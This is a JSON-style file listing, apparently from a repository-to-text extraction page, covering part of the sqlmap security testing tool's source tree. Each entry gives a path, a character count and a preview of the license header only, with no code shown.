"path": "lib/request/chunkedhandler.py",
"chars": 1565,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/comparison.py",
"chars": 9135,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/connect.py",
"chars": 83290,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/direct.py",
"chars": 3228,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/dns.py",
"chars": 6100,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/httpshandler.py",
"chars": 6505,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/inject.py",
"chars": 24811,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/methodrequest.py",
"chars": 589,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/pkihandler.py",
"chars": 1774,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/rangehandler.py",
"chars": 941,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/redirecthandler.py",
"chars": 8457,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/request/templates.py",
"chars": 632,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/takeover/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/takeover/abstraction.py",
"chars": 8499,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/takeover/icmpsh.py",
"chars": 4738,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/takeover/metasploit.py",
"chars": 28235,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/takeover/registry.py",
"chars": 3837,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/takeover/udf.py",
"chars": 14030,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/takeover/web.py",
"chars": 18313,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/takeover/xp_cmdshell.py",
"chars": 11838,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/techniques/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/techniques/blind/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/techniques/blind/inference.py",
"chars": 35350,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/techniques/dns/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/techniques/dns/test.py",
"chars": 1124,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/techniques/dns/use.py",
"chars": 5060,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
},
{
"path": "lib/techniques/error/__init__.py",
"chars": 146,
"preview": "#!/usr/bin/env python\n\n\"\"\"\nCopyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)\nSee the file 'LICENSE' for cop"
}
]
// ... and 452 more files (download for full content)
About this extraction
This page contains the full source code of the sqlmapproject/sqlmap GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 652 files (4.2 MB), approximately 1.1M tokens, and a symbol index with 3385 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.